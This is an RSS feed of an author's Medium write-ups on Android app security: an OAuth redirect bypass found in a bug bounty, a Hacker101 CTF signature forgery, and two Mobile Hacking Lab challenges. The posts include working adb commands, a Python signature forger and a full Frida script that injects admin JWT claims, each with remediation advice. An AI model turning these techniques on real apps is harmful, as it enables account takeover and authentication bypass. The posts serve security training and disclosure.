<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 4b6o0t on Medium]]></title>
        <description><![CDATA[Stories by 4b6o0t on Medium]]></description>
        <link>https://medium.com/@mr.abdulbasithk.p?source=rss-a7a19ffc2f0b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*MHfuA5B0OjONTXMj</url>
            <title>Stories by 4b6o0t on Medium</title>
            <link>https://medium.com/@mr.abdulbasithk.p?source=rss-a7a19ffc2f0b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 23:23:14 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mr.abdulbasithk.p/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[OAuth Authorization Code Interception via Custom URL Scheme Bypass in Android App]]></title>
            <link>https://medium.com/@mr.abdulbasithk.p/oauth-authorization-code-interception-via-custom-url-scheme-bypass-in-android-app-b3d1ad77f418?source=rss-a7a19ffc2f0b------2</link>
            <guid isPermaLink="false">https://medium.com/p/b3d1ad77f418</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[mobile-app-security]]></category>
            <category><![CDATA[android-security]]></category>
            <dc:creator><![CDATA[4b6o0t]]></dc:creator>
            <pubDate>Mon, 30 Nov 2026 10:25:16 GMT</pubDate>
            <atom:updated>2026-11-30T10:40:51.283Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*ta8w90HNXUBEzVZB.gif" /></figure><h3>Hello hackers,</h3><p>Recently I was reversing an Android app (referred to here as <strong>ExampleApp</strong>) and found an interesting issue in how it handles OAuth login callbacks through custom URL schemes.</p><p>In this writeup we will look at:</p><ul><li>Static analysis using JADX</li><li>How the app validates incoming redirect URIs</li><li>Runtime confirmation using adb and Frida</li><li>Why three separate checks still added up to zero real protection</li></ul><p>So enough talking, let’s jump into it.</p><h4>Application Overview</h4><p>Package name:</p><pre>com.exampleapp.android</pre><p>While reversing the APK, I noticed the app registers two activities to handle OAuth login callbacks, reachable through custom URL schemes:</p><pre>exampleapp://<br>exampleapp-alpha://</pre><p>Whenever I see an app accepting login callbacks through a custom scheme instead of a verified App Link, it immediately becomes interesting — custom schemes can be claimed by any app on the device unless the developer locks that down properly.</p><h4>Finding the Input Flow</h4><p>First thing I checked was whether the app had set up proper ownership of its scheme:</p><pre>curl https://exampleapp.com/.well-known/assetlinks.json</pre><ol><li>No App Link verification. That alone is a weak sign, but not exploitable on its own in newer Android versions, so I kept digging into how the app validates the URIs it receives.</li></ol><p>Tracing through JADX, the callback flow looks like this:</p><pre>Incoming URI<br>      ↓<br>ExampleAppSchemeHandlerActivity<br>      ↓<br>SchemeHandlerViewModel<br>      ↓<br>IntentSanitizer<br>      ↓<br>finishWithSuccess()</pre><p>The IntentSanitizer class sounded like exactly the kind of check I wanted to break. But looking at it closely, it only validates:</p><ul><li>the scheme name (exampleapp / exampleapp-alpha)</li><li>the component name</li></ul><p>No check on host, path, or query string. So a URI like exampleapp://attacker.com sails straight through.</p><p>There’s a second check further down, uriHasParam(), meant to confirm the URI is actually a real OAuth-related redirect by looking for keywords like &quot;oauth&quot;. But it has a fallback that just searches the <strong>entire URI string</strong> for that keyword if the host check fails — meaning I could plant the word &quot;oauth&quot; anywhere in a URI I fully control, like a query parameter, and still pass.</p><h4>Runtime Testing</h4><p>To confirm this actually works at runtime, I sent a crafted URI straight at the exported activity using adb:</p><pre>adb shell am start \<br>  -a android.intent.action.VIEW \<br>  -d &quot;exampleapp://attacker.com/steal?action=oauth&quot; \<br>  com.exampleapp.android</pre><p>The activity launched immediately — no rejection, no error.</p><p>To watch it happen live, I hooked the final success callback with Frida:</p><pre>Java.perform(function() {<br>  var act = Java.use(&quot;com.exampleapp.android.scheme.ExampleAppSchemeHandlerActivity&quot;);<br>  act.finishWithSuccess.implementation = function(uri) {<br>    console.log(&quot;[INTERCEPTED] URI = &quot; + uri.toString());<br>    return this.finishWithSuccess(uri);<br>  };<br>});</pre><pre>frida -U --attach-name com.exampleapp.android -l poc.js --no-pause</pre><p>And there it was — the log showed attacker.com being passed into finishWithSuccess() as if it were a completely legitimate redirect target. 😂</p><p>That confirmed the app will sign off on a redirect to literally anywhere, as long as the URI contains the right scheme and the word “oauth” somewhere in it.</p><h4>Why This Matters</h4><p>Normally, OAuth redirect handling is supposed to be one of the more carefully guarded parts of a mobile app, since it’s the exact mechanism that hands over login tokens.</p><p>But here:</p><pre>Victim clicks link<br>      ↓<br>App receives crafted URI<br>      ↓<br>Scheme check passes (only checks scheme name)<br>      ↓<br>Keyword check passes (substring match on full URI)<br>      ↓<br>App treats attacker.com as the real OAuth destination<br>      ↓<br>Authorization code sent to attacker<br>      ↓<br>Code exchanged for access + refresh token<br>      ↓<br>Account takeover</pre><p>Each individual check looked reasonable on its own. Together, none of them actually verified the one thing that mattered: where the redirect was actually going.</p><h4>Current Status</h4><p>At this stage I successfully demonstrated:</p><ul><li>Missing App Link verification</li><li>A redirect-destination check that never looks at the host</li><li>A keyword filter bypassed by a simple substring match</li><li>Full acceptance of an attacker-controlled redirect, confirmed via adb and Frida</li></ul><p>This is enough to demonstrate real OAuth code interception in a realistic attack scenario (victim clicks a crafted link mid-login), so unlike some native/memory-corruption bugs where more work is needed to confirm impact, this one is fully demonstrated end-to-end — no further reversing required to prove the authorization code would be exposed.</p><h4>Next Steps (for the app’s developers)</h4><ul><li>Publish assetlinks.json and turn on App Link verification</li><li>Add a proper host allowlist inside IntentSanitizer</li><li>Remove the substring fallback in uriHasParam() entirely</li><li>Restrict the exported OAuth activities with android:permission=&quot;signature&quot;</li></ul><h4>Final Thoughts</h4><p>This was a nice example of how several “security checks” stacked on top of each other can still add up to nothing, if none of them actually checks the part that matters.</p><p>Scheme validation, component validation, keyword validation — three checks, and not one of them looked at the destination host. Always validate:</p><ul><li>What the redirect is actually pointing to, not just that it “looks like” the right format</li><li>Every fallback path in your validation logic, since that’s usually where bypasses hide</li><li>Assumptions baked into helper functions that get reused across the codebase</li></ul><p><strong>Outcome:</strong> Reported, triaged quickly, and closed as a duplicate of an earlier report — other researchers had found variations of the same root cause independently. No bounty since it wasn’t the original find, but still a fun chain to pull apart.</p><p>Happy hacking :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b3d1ad77f418" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacker101 CTF — Level13 (Android): Hardcoded Signing Key → Flag Disclosure]]></title>
            <link>https://medium.com/@mr.abdulbasithk.p/hacker101-ctf-level13-android-hardcoded-signing-key-flag-disclosure-09b85bb24b10?source=rss-a7a19ffc2f0b------2</link>
            <guid isPermaLink="false">https://medium.com/p/09b85bb24b10</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[android-security]]></category>
            <category><![CDATA[mobile-app-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[4b6o0t]]></dc:creator>
            <pubDate>Sat, 03 Oct 2026 15:26:44 GMT</pubDate>
            <atom:updated>2026-10-03T15:26:44.627Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/proxy/0*6UYr0wFnGni3fEGw" /></figure><p><strong>Target:</strong> com.hacker101.level13<br><strong>Category:</strong> Android / Mobile<br><strong>Difficulty:</strong> Moderate<br><strong>Vulnerability class:</strong> CWE-321 — Use of Hard-coded Cryptographic Key<br><strong>Consequence:</strong> CWE-287 — Improper Authentication (backend)</p><blockquote><strong>Summary</strong></blockquote><p>Level13 ships an Android APK whose MainActivity signs outgoing WebView requests with SHA256(secret_key + path). The secret_key is a <strong>static string compiled into the APK</strong>. Because the &quot;secret&quot; is fully recoverable via static analysis, the signature provides no real integrity guarantee — anyone can forge a valid signature for <em>any</em> backend path, including undisclosed endpoints. This was used to directly retrieve /appRoot/flagBearer, bypassing the app&#39;s intended request-signing control entirely, both through the app and independently of it.</p><blockquote>CWE Mapping</blockquote><p>Surface CWEWhere</p><p>Android (client) CWE-321 Hardcoded key in MainActivity.java / classes.dex, extractable via static analysis.</p><p>Web (backend) CWE-287 Server trusts the hash parameter as proof of legitimate origin, but the signing secret isn&#39;t actually secret.</p><p><em>The Android side is the vulnerability’s </em><strong><em>location</em></strong><em>; the web side is the </em><strong><em>exploitable consequence</em></strong><em>.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/0*0b9e8F6Vf6TXtBCZ.gif" /></figure><h4>Part 1 - Attack via the Android App (deep link → app signs for you)</h4><blockquote>Step 1: Static analysis - recover the key</blockquote><p>MainActivity.java (relevant excerpt):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2TyGJF-cBWidsSjNbRDMVA.png" /><figcaption>Tool at jadx</figcaption></figure><p>The signing key s00p3rs3cr3tk3y is hardcoded in classes.dex — recoverable by anyone with the APK.</p><blockquote>Step 2: Confirm the deep link in the manifest</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lGM2E-4RYjWylJDtokkdDg.png" /></figure><blockquote>Step 3: Discover the hidden endpoint</blockquote><p>Loading the app’s default URL and viewing source revealed a link to an undocumented path:</p><pre>view-source:https://39b7a6ca4878b0e8593278852609d0c7.ctf.hacker101.com/appRoot/flagBearer</pre><p>Requesting it with no hash returned Invalid request — confirming it&#39;s gated by the same signing scheme.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/0*Zmb1RNBU0by4dctV" /></figure><blockquote>Step 4: Let the app sign the forged path for you</blockquote><pre>adb shell am start -a android.intent.action.VIEW \<br>  -d &quot;http://level13.hacker101.com/flagBearer&quot; \<br>  -n com.hacker101.level13/.MainActivity</pre><p>Targeting the component explicitly (-n) avoids intent-resolution ambiguity. MainActivity extracts strSubstring = &quot;/flagBearer&quot;, computes SHA256(key + path) itself, and loads the resulting signed URL into its WebView.</p><p><strong>Result:</strong> WebView renders the flag directly on-device:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*-Fa8XFP4X1XmVw8D3tjXNQ.jpeg" /></figure><p>This proves the app will sign <em>any</em> path supplied via deep link — it never validates that the path is one it would normally generate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*FLS7BZMWlU0qU1R8.gif" /></figure><h4>Part 2 - Attack via direct Web URL (no app, no Android device)</h4><p>This is the stronger PoC: it proves the trust boundary violation is purely server-side and requires zero app interaction.</p><blockquote>Step 1: Replicate the signing logic in Python</blockquote><pre>python3 -c &quot;<br>import hashlib<br>KEY = b&#39;s00p3rs3cr3tk3y&#39;<br>path = &#39;/flagBearer&#39;<br>h = hashlib.sha256()<br>h.update(KEY)<br>h.update(path.encode(&#39;utf-8&#39;))<br>print(&#39;https://39b7a6ca4878b0e8593278852609d0c7.ctf.hacker101.com/appRoot&#39; + path + &#39;?&amp;hash=&#39; + h.hexdigest())<br>&quot;</pre><p><strong>Output:</strong></p><pre>https://39b7a6ca4878b0e8593278852609d0c7.ctf.hacker101.com/appRoot/flagBearer?&amp;hash=8743a18df6861ced0b7d472b34278dc29abba81b3fa4cf836013426d6256bd5e</pre><blockquote>Step 2: Request it with curl</blockquote><pre>curl &quot;https://39b7a6ca4878b0e8593278852609d0c7.ctf.hacker101.com/appRoot/flagBearer?&amp;hash=8743a18df6861ced0b7d472b34278dc29abba81b3fa4cf836013426d6256bd5e&quot;</pre><p><strong>Also verified by direct browser navigation:</strong> pasting the same forged URL straight into a browser’s address bar returns the identical flag — confirming the forgery works through any HTTP client, not just curl.</p><p>Impact</p><ul><li>Full bypass of the app’s request-authentication scheme</li><li>Enumeration/access of any backend endpoint under /appRoot, not just flagBearer</li><li>No rate limiting or server-side anomaly detection observed on malformed/forged requests during testing</li><li>Affects every installation identically — the key is static, not per-user or per-session</li></ul><h4>Root Cause</h4><p>A value meant to function as a server-trusted secret was embedded client-side, where it is guaranteed to be extractable via standard static analysis (jadx/apktool). SHA-256 hashing does not protect a key that is itself exposed — hashing public input with a public key produces a publicly-computable signature.</p><h4>Remediation</h4><ul><li>Move the signing key to the server; never embed cryptographic secrets in client binaries</li><li>If client-originated signing is required, issue per-session, server-generated tokens (e.g., short-lived JWTs) rather than a static shared secret</li><li>Validate signed paths against a server-side allow-list of expected routes, rather than trusting any correctly-hashed path</li></ul><p><strong>OMG moment:</strong> The app spent its entire life hashing a “secret” that was sitting in plain text three lines above the hash call. SHA-256 did its job perfectly — it just had nothing worth protecting to begin with. 🤦‍♂️🔓</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=09b85bb24b10" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Finding an Unintended Privilege Escalation While Solving Mobile Hacking Lab’s Food Store Challenge]]></title>
            <link>https://medium.com/@mr.abdulbasithk.p/finding-an-unintended-privilege-escalation-while-solving-mobile-hacking-labs-food-store-challenge-439a4e46f732?source=rss-a7a19ffc2f0b------2</link>
            <guid isPermaLink="false">https://medium.com/p/439a4e46f732</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[android-security]]></category>
            <category><![CDATA[mobileapplicationsecurity]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[4b6o0t]]></dc:creator>
            <pubDate>Wed, 03 Jun 2026 15:04:35 GMT</pubDate>
            <atom:updated>2026-06-03T15:04:35.314Z</atom:updated>
            <content:encoded><![CDATA[<p><em>While hunting for SQL Injection, I accidentally became the CEO of the Food Store.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/0*gTZlmBx3ihMnVXKH" /></figure><h3>Introduction</h3><p>I recently started working through the Food Store challenge on Mobile Hacking Lab.</p><p>The lab is designed to teach SQL Injection in Android applications. My original goal was simple:</p><blockquote><em>Find the vulnerable signup functionality, exploit the SQL Injection, and become a Pro User.</em></blockquote><p>As usual, I opened the APK in JADX and started tracing the authentication flow.</p><p>What I didn’t expect was finding a completely different vulnerability before even reaching the intended challenge.</p><h3>Understanding the Application</h3><p>The Food Store app has two user types:</p><h4><em>Regular User</em></h4><ul><li>100 Credits</li><li>Standard functionality</li></ul><h4>Pro User</h4><ul><li>10,000 Credits</li><li>Premium privileges</li></ul><p>After successful authentication, users are redirected to MainActivity.</p><p>At first glance everything looked normal.</p><h3>Following the Login Flow</h3><p>Inside LoginActivity I found the following code:</p><pre>int credit = user.isPro() ? 10000 : 100;</pre><pre>intent.putExtra(&quot;USERNAME&quot;, inputUsername);<br>intent.putExtra(&quot;USER_CREDIT&quot;, credit);<br>intent.putExtra(&quot;IS_PRO_USER&quot;, user.isPro());<br>intent.putExtra(&quot;USER_ADDRESS&quot;, user.getAddress());</pre><p>The application collects information from the authenticated user and forwards it to the next activity.</p><p>Nothing suspicious yet.</p><p>But security reviews often become interesting when you look at what happens on the receiving side.</p><h3>Trust Issues</h3><p>Moving into MainActivity, I found this:</p><pre>String username = getIntent().getStringExtra(&quot;USERNAME&quot;);</pre><pre>this.userCredit =<br>    getIntent().getIntExtra(&quot;USER_CREDIT&quot;, 0);</pre><pre>boolean isProUser =<br>    getIntent().getBooleanExtra(&quot;IS_PRO_USER&quot;, false);</pre><p>The application was directly consuming values from Intent extras.</p><p>No database lookup.</p><p>No verification.</p><p>No integrity checks.</p><p>No session validation.</p><p>The activity simply trusted whatever it received.</p><p>At that moment a question came to mind:</p><blockquote><em>What happens if I provide those values myself?</em></blockquote><h3>Testing the Theory</h3><p>Instead of logging in normally, I decided to launch the activity manually using ADB.</p><pre>adb shell am start -n com.mobilehackinglab.foodstore/.MainActivity \<br>  --es USERNAME &quot;CEO&quot; \<br>  --ei USER_CREDIT 999999999 \<br>  --ez IS_PRO_USER true \<br>  --es USER_ADDRESS &quot;Owned&quot;</pre><p>The command executed successfully.</p><p>No errors.</p><p>No validation.</p><p>No complaints from the application.</p><h3>Figure 1 — Launching MainActivity with Forged Values</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nqA1Ajy53UX6GA1h7HLEFg.png" /></figure><p><em>Launching MainActivity with attacker-controlled Intent extras.</em></p><h3>The Unexpected Result</h3><p>The application immediately accepted every value I supplied.</p><p>Instead of becoming a regular user, I had become:</p><pre>Guest: CEO<br>Credits: 999999999<br>Pro User</pre><p>No authentication.</p><p>No SQL Injection.</p><p>No database modification.</p><p>Just trusted client-controlled values.</p><p>At this point I was technically the richest customer in the entire Food Store.</p><h3>Figure 2 — Welcome, CEO</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*oVhJZOIEbn2ukaC2Dy8Z4A.png" /></figure><p><em>The application displays attacker-controlled username, credit balance, and Pro User status.</em></p><h3>Why This Happens</h3><p>The application assumes that only LoginActivity will ever launch MainActivity.</p><p>That assumption becomes dangerous whenever sensitive information is passed through Intents.</p><p>The activity effectively says:</p><blockquote><em>“If someone tells me they are a Pro User, I will believe them.”</em></blockquote><p>Which is exactly what happened.</p><p>The application trusted:</p><pre>USERNAME<br>USER_CREDIT<br>IS_PRO_USER<br>USER_ADDRESS</pre><p>without independently verifying any of them.</p><h3>Lessons Learned</h3><p>One thing I enjoy about Android security labs is that they often teach more than the intended lesson.</p><p>This challenge was supposed to be about SQL Injection.</p><p>Instead, before reaching the SQL Injection, I stumbled into an authorization weakness caused by trusting Intent extras.</p><p>It is a reminder that:</p><ul><li>Authentication is not authorization.</li><li>Client-controlled data should never be trusted.</li><li>Security-sensitive decisions should always come from a trusted source.</li></ul><h3>Final Thoughts</h3><p>This was a fun unintended discovery while working through the Food Store challenge.</p><p>The challenge author wanted me to think like an attacker targeting SQL Injection.</p><p>The application encouraged me to think like an Android reverser.</p><p>In the end, I became the CEO of the Food Store with 999,999,999 credits before ever touching the intended vulnerability.</p><p>And honestly, that made the lab even more enjoyable.</p><h3>Mobile Hacking Lab</h3><p>Food Store Challenge.</p><p><a href="https://academy.mobilehackinglab.com/path-player?courseid=lab-food-store&amp;unit=65ae9ca033ea1af0290963deUnit">https://academy.mobilehackinglab.com/path-player?courseid=lab-food-store&amp;unit=65ae9ca033ea1af0290963deUnit</a></p><h3>Connect With Me</h3><p>LinkedIn: <a href="http://www.linkedin.com/in/mr-abdul-basith-ba826b31b">www.linkedin.com/in/mr-abdul-basith-ba826b31b</a></p><p>X (Twitter): <a href="https://x.com/abdulbasith1205">https://x.com/abdulbasith1205</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=439a4e46f732" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Write-up: KYC Me If You Can — Bypassing Biometric Verification via Native JWT Injection]]></title>
            <link>https://medium.com/@mr.abdulbasithk.p/write-up-kyc-me-if-you-can-bypassing-biometric-verification-via-native-jwt-injection-0e1a14cbb1b7?source=rss-a7a19ffc2f0b------2</link>
            <guid isPermaLink="false">https://medium.com/p/0e1a14cbb1b7</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[android-app-development]]></category>
            <category><![CDATA[mobilehackinglab]]></category>
            <category><![CDATA[mobile-security]]></category>
            <dc:creator><![CDATA[4b6o0t]]></dc:creator>
            <pubDate>Mon, 01 Jun 2026 09:18:34 GMT</pubDate>
            <atom:updated>2026-06-01T09:18:34.130Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/538/0*EsmztIBp3r9gV3rA.png" /></figure><p>Hello hackers,</p><p>In modern Android applications, financial and high-security platforms rely heavily on Know Your Customer (KYC) workflows consisting of facial liveness verification followed by server-side identity checks. While standard implementations use machine learning models on the device or server, critical security vulnerabilities often manifest not in the mathematical models themselves, but in how the <strong>session lifecycle</strong> and <strong>state tokens</strong> are handled across boundaries.</p><p>In this write-up, we will pull back the curtains on the Mobile Hacking Lab challenge <strong>“KYC Me If You Can”</strong> (com.mobilehackinglab.kyc) to explore how a flaw in client-side trust boundaries can be leveraged to forge identity tokens and capture the hidden flag.</p><h3>🎯 Objective</h3><p>Bypass local biometric/face validation checks and spoof privileged identity claims inside the application container to trick the remote verification server into leaking the protected flag.</p><h3>🔍 Vulnerability Discovery &amp; Code Review</h3><p>While reversing the application package using JADX, a deep dive into the network clients and user verification state machines exposed severe implementation flaws.</p><h4>1. Hardcoded Cryptographic Secrets</h4><p>The primary flaw stems from defining high-impact cryptographic signing variables directly as plaintext string literals inside the source code of the KYCApiClient class.</p><p>Java</p><pre>package com.mobilehackinglab.kyc;</pre><pre>public final class KYCApiClient {<br>    // 🔴 CRITICAL VULNERABILITY: Static secret hardcoded inside the APK asset binary<br>    public static final String LIVENESS_SECRET = &quot;MobileGuard2025_SuperSecretKey!!!&quot;;<br>    <br>    // Server-side baseline profile array template placeholder<br>    public static final String TARGET_EMBEDDING_B64 = &quot;T1JHQU5JWkVfQkFTRTY0X1BMQUNFSE9MREVS&quot;;<br>}</pre><h4>2. Client-Side Token Generation Flaw</h4><p>Because the generateLivenessToken method builds its cryptographic payload locally using that hardcoded key, an attacker instrumenting the application can utilize its local dependencies to forge valid server structures.</p><p>Java</p><pre>public final String generateLivenessToken(String sessionId) throws WeakKeyException {<br>    Intrinsics.checkNotNullParameter(sessionId, &quot;sessionId&quot;);<br>    <br>    // Converts the hardcoded string directly to bytes for HMAC construction<br>    byte[] bytes = LIVENESS_SECRET.getBytes(Charsets.UTF_8);<br>    SecretKey secretKeyHmacShaKeyFor = Keys.hmacShaKeyFor(bytes);<br>    Date date = new Date();<br>    <br>    // 🔴 CRITICAL VULNERABILITY: Token assembly occurs entirely within an untrusted client environment<br>    String strCompact = Jwts.builder()<br>        .subject(&quot;LivenessVerified&quot;)<br>        .claim(&quot;session_id&quot;, sessionId)<br>        .claim(&quot;blink_passed&quot;, true)<br>        .claim(&quot;head_turn_passed&quot;, true)<br>        .issuedAt(date)<br>        .expiration(new Date(date.getTime() + (long) 300000))<br>        .signWith(secretKeyHmacShaKeyFor)<br>        .compact(); // &lt;-- Target hook for dynamic runtime injection<br>        <br>    Intrinsics.checkNotNullExpressionValue(strCompact, &quot;compact(...)&quot;);<br>    return strCompact;<br>}</pre><h4>3. Flawed UI Trust State Machines</h4><p>Inside MainActivity.kt, the actual transition to complete verification handles checking permissions locally via simple boolean state properties rather than verifying cryptographic identity validations strictly inside the cloud gateway:</p><p>Java</p><pre>// 🔴 CRITICAL VULNERABILITY: State controls depend entirely on local boolean properties<br>if (!livenessDetector.getIsLivenessPassed()) {<br>    Log.d(&quot;KYC_App&quot;, &quot;Local liveness signature checks pending...&quot;);<br>    ...<br>    // If an attacker forces these state rules to always evaluate to true,<br>    // the UI naturally transitions directly into network submission flows<br>    if (livenessDetector2.getIsLivenessPassed()) {<br>        proceedWithVerification(bitmapCreateBitmap);<br>    }<br>}</pre><h3>🛠️ The Exploitation Code (exploit.js)</h3><p>By targeting the bundled io.jsonwebtoken.JwtBuilder framework components natively inside the Dalvik virtual machine right before signature compilation, we can dynamically intercept the payload creation and inject custom privilege attributes (username, user, role, email).</p><p>JavaScript</p><pre>/**<br> * MobileGuard KYC State-Bound JWT Injection and Lifecycle Bypass Exploit<br> * Framework: Frida Toolkit<br> * Target: com.mobilehackinglab.kyc<br> */</pre><pre>Java.perform(function () {<br>    console.log(&quot;[*] Initializing Robust Token Identity Forgery Exploit...&quot;);</pre><pre>    // 1. Trap Server Response Buffers<br>    var GetFlagNetworkInner = Java.use(&quot;com.mobilehackinglab.kyc.KYCApiClient$getFlag$1&quot;);<br>    GetFlagNetworkInner.onResponse.implementation = function (call, response) {<br>        var responseBody = response.body();<br>        if (responseBody !== null) {<br>            console.log(&quot;\n========================================================&quot;);<br>            console.log(&quot;[+] SERVER RESPONSE CAPTURED:&quot;);<br>            console.log(responseBody.string());<br>            console.log(&quot;========================================================\n&quot;);<br>        }<br>        return this.onResponse(call, response);<br>    };</pre><pre>    // 2. Intercept Native JWT Builder to Append Privileged Identity Claims<br>    var JwtBuilder = Java.use(&quot;io.jsonwebtoken.JwtBuilder&quot;);<br>    JwtBuilder.compact.implementation = function () {<br>        console.log(&quot;[+] Intercepted JwtBuilder.compact() - Injecting Privileged Identity Claims...&quot;);<br>        <br>        // Inject identity descriptors expected by the administrative endpoint<br>        this.claim(&quot;username&quot;, &quot;abraham&quot;);<br>        this.claim(&quot;user&quot;, &quot;admin&quot;);<br>        this.claim(&quot;role&quot;, &quot;founder&quot;);<br>        this.claim(&quot;email&quot;, &quot;abraham@mobilehackinglab.com&quot;);<br>        <br>        // Return original compilation signed automatically via the client&#39;s key<br>        return this.compact();<br>    };</pre><pre>    // 3. Automated Lifecycle Flow Orchestrator<br>    var KYCApiClient = Java.use(&quot;com.mobilehackinglab.kyc.KYCApiClient&quot;);<br>    var clientInstance = KYCApiClient.$new();<br>    var UUID = Java.use(&quot;java.util.UUID&quot;);<br>    var sessionId = UUID.randomUUID().toString();<br>    console.log(&quot;[*] Target Session ID: &quot; + sessionId);</pre><pre>    var signedJwt = clientInstance.generateLivenessToken(sessionId);<br>    var Function1 = Java.use(&quot;kotlin.jvm.functions.Function1&quot;);<br>    var Function2 = Java.use(&quot;kotlin.jvm.functions.Function2&quot;);</pre><pre>    var LivenessSessionCallback = Java.registerClass({<br>        name: &quot;com.exploit.LivenessSessionCallback&quot;,<br>        implements: [Function1],<br>        methods: {<br>            invoke: function (sessionHmac) {<br>                var FaceVerifyCallback = Java.registerClass({<br>                    name: &quot;com.exploit.FaceVerifyCallback&quot;,<br>                    implements: [Function2],<br>                    methods: {<br>                        invoke: function (success, faceToken) {<br>                            var validFaceToken = faceToken ? faceToken : &quot;placeholder_token&quot;;<br>                            var TriggerCallback = Java.registerClass({<br>                                name: &quot;com.exploit.TriggerCallback&quot;,<br>                                implements: [Function1],<br>                                methods: { invoke: function (r) { return null; } }<br>                            });<br>                            clientInstance.getFlag(sessionId, validFaceToken, TriggerCallback.$new());<br>                            return null;<br>                        }<br>                    }<br>                });<br>                var mockEmbedding = Java.array(&#39;float&#39;, [1.0, 2.0, 3.0]);<br>                clientInstance.verifyFace(sessionId, sessionHmac, mockEmbedding, FaceVerifyCallback.$new());<br>                return null;<br>            }<br>        }<br>    });</pre><pre>    clientInstance.startLivenessSession(sessionId, signedJwt, LivenessSessionCallback.$new());<br>});</pre><h3>🚀 Exploitation Log Results</h3><p>Executing our runtime script forces the application process to spawn, hook the core crypto mechanisms, auto-sign our modified token data structure, and extract the flag back cleanly into our terminal:</p><p>Plaintext</p><pre>basi@abdlbasith guard-ctf % frida -U -f com.mobilehackinglab.kyc -l exploit.js<br>     ____<br>    / _  |   Frida 17.9.1 - A world-class dynamic instrumentation toolkit<br>   | (_| |<br>    &gt; _  |   Commands:<br>   /_/ |_|       help      -&gt; Displays the help system<br>   . . . .       object?   -&gt; Display information about &#39;object&#39;<br>   . . . .       exit/quit -&gt; Exit</pre><pre>Spawned `com.mobilehackinglab.kyc`. Resuming main thread!               <br>[Android Emulator 5554::com.mobilehackinglab.kyc ]-&gt; [*] Initializing Robust Token Identity Forgery Exploit...<br>[*] Target Session ID: 30f22678-9a23-43f2-97b4-1ed073521714<br>[+] Intercepted JwtBuilder.compact() - Injecting Privileged Identity Claims...<br>[+] Forged Claims Payload: {&quot;sub&quot;:&quot;LivenessVerified&quot;,&quot;session_id&quot;:&quot;30f22678-9a23-43f2-97b4-1ed073521714&quot;,&quot;blink_passed&quot;:true,&quot;head_turn_passed&quot;:true,&quot;iat&quot;:1780300846,&quot;exp&quot;:1780301146,&quot;username&quot;:&quot;abraham&quot;,&quot;user&quot;:&quot;admin&quot;,&quot;role&quot;:&quot;founder&quot;,&quot;email&quot;:&quot;abraham@mobilehackinglab.com&quot;}</pre><pre>========================================================<br>🏆 SERVER RESPONSE CAPTURED:<br>{&quot;status&quot;:&quot;success&quot;,&quot;data&quot;:{&quot;flag&quot;:&quot;MHC{c1i3nt_s1d3_I0g1c_bypass_v1a_fr1da}&quot;}}<br>========================================================</pre><h3>🏁 Conclusion</h3><p>The server architecture blindly trusted client-side JWT claims because they were sealed with the embedded private key. By intercepting JwtBuilder.compact() natively, we successfully manipulated the execution loop and spoofed our authorization level completely.</p><p><strong>Key Takeaway:</strong> Never sign authorization states on an untrusted client device! Secure sessions must always be handled and validated on a remote backend.</p><p>lab link: <a href="https://academy.mobilehackinglab.com/path-player?courseid=lab-kyc-me-if-you-can&amp;unit=69a0ce5e605b643cc008f55fUnit">https://academy.mobilehackinglab.com/path-player?courseid=lab-kyc-me-if-you-can&amp;unit=69a0ce5e605b643cc008f55fUnit</a></p><p>Enjoy the flag! 😂🎉</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0e1a14cbb1b7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Potential Native Buffer Overflow in JNI Component of Android Note Keeper App]]></title>
            <link>https://medium.com/@mr.abdulbasithk.p/hunting-a-potential-native-buffer-overflow-in-android-note-keeper-app-987fbe7dc4de?source=rss-a7a19ffc2f0b------2</link>
